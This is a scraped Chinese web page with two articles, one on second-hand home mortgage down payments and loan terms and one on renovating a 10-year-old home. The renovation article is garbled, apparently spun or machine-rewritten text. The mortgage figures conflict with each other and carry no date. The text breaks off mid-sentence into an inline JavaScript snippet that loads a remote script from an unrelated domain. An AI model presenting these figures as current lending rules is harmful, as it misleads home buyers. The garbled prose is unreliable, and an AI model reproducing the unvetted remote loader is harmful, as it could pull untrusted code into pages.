二手房可以按揭几成 二手房最多能贷多少年?

如今很多的房地产在开盘时取得预售证以后就开始销售房产，而此时的房价也会相对便宜一些，一旦房屋建成以后，房价也会增长，而且剩余楼层和户型也不是很好，所以很多觉得期房不靠谱的人们，一般会选择购买二手房。但是二手房也有很多不靠谱的地方，大家购买时还需要谨慎。今天小编先给大家说一下购买二手房可以按揭几成?最多能贷款多少年?二手房可以按揭几成?一、首先我们要了解购房者有没有房产，有一套还是两套。1、如果购房者没有房产的，也就是首套二手房，那么二手房贷的首付不低于30%，这里说的30%值得不是成交较而是评估价。而二手房贷款式根据二手房评估作为参考的，而一般评估价都低于市场价格。2、如果购房者都有了一套房产，那么他在二手房首付的时候比例就应该是70%左右，而基准利率目前为6.55%部分银行首套可以做到85折。3、三套房产的情况，如果需要向银行贷款购买二手房的话那么根据规定是不予贷款的。二、二手房贷款首付比例为多少分为以下三种个情况。1、如果上家已经还清了房贷，而且购房者资质很好，就能获得只用支付2成的二手房贷款首付。2、如果上家已经没有偿还清楚贷款的，而且还要求购房者配合还贷的情况，最安全的做法是走资金监管程序。这样首付3成的二手房贷即可。3、如果购房者资金充足，可以一次性支付清楚，这样就不存在首付和房贷的问题了。二手房最多能贷多少年?一、与房龄有关：一般是30年内房龄，最长贷款年限计算：贷款年限+房龄<50(各银行间有差异)二、与贷款人的年龄有关：1、个人住房贷款最长期限为30年;2、个人商业用房贷款最长期限为10年;3、男士年龄不超过60岁，60-你的年龄为男士最长贷款年限;4、女士年龄不超过55岁;55-你的年龄为女士最长贷款年限。二手房的购买首付情况除了和你所拥有的房产情况有一定关系以外，还和你所购买的二手房是否有贷款情款有关系，相对新房而言，二手房贷款情况要更复杂一些，不过如果有中介介入的话，个人需要考虑的问题也就很少了，中介一般都会办妥。小编在上文中也做了一些关于二手房按揭情况的一些介绍，大家可做参考。

10年的二手房如何装修的注意事项

二手房屋装修与新房不同，间接装修步骤与新房装修步骤不同，因此每间房的实际情况不同，所以问题也不同。因此，用过的房屋的实际情况决定了房屋的特定家庭装修阶段。那么让我们来看看10年的二手房如何装修？及间接家居装修的步骤。10年的二手房如何装修的注意事项1：接受因为房子太年久所以与新房子的翻新不同，老房子的验收非常重要，因为老房子的实际情况不同。所以老房子的问题不同，确定和处理了房屋的漏洞，保留现有的合理结构，避免老房子的家居装修过程中的经济和浪费。在验收过程中，有必要测量旧房子的实际尺寸，并为下一个设计绘制旧房子的草图。2：设计 那么在10年的二手房如何装修中在完成的验收后，装饰师可以规划旧房子的未来设计。绘制合理的设计可以将旧房改造成新的，加快旧房改造过程，防止房屋装修过程泄漏。不熟悉家居装饰知识的业主可以通过与设计师的更好沟通来减少实际浪费。在设计旧房子的过程中，装饰的主人需要知道且不必担心装饰。3：主体拆改在10年的二手房如何装修中如果客户所有者不需要修改墙壁，装饰公司可以采取这一步骤，但对于较旧的房屋，改装是必要的步骤。旧房屋的主体应注意避开墙体的承重部分，在旧房屋的布置中，应更加注意空气流通和自然采光比例。由于旧房子陈旧，旧建筑材料可能与现代建筑材料不同。4：隐蔽工程因房子长期没有翻新，大多数隐蔽工作尚停止，所以对于很久以前停止的水电项目要再次完工。通道和电路的重新设计，因为家中有更多的电器，插头的位置最好多有几个， var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();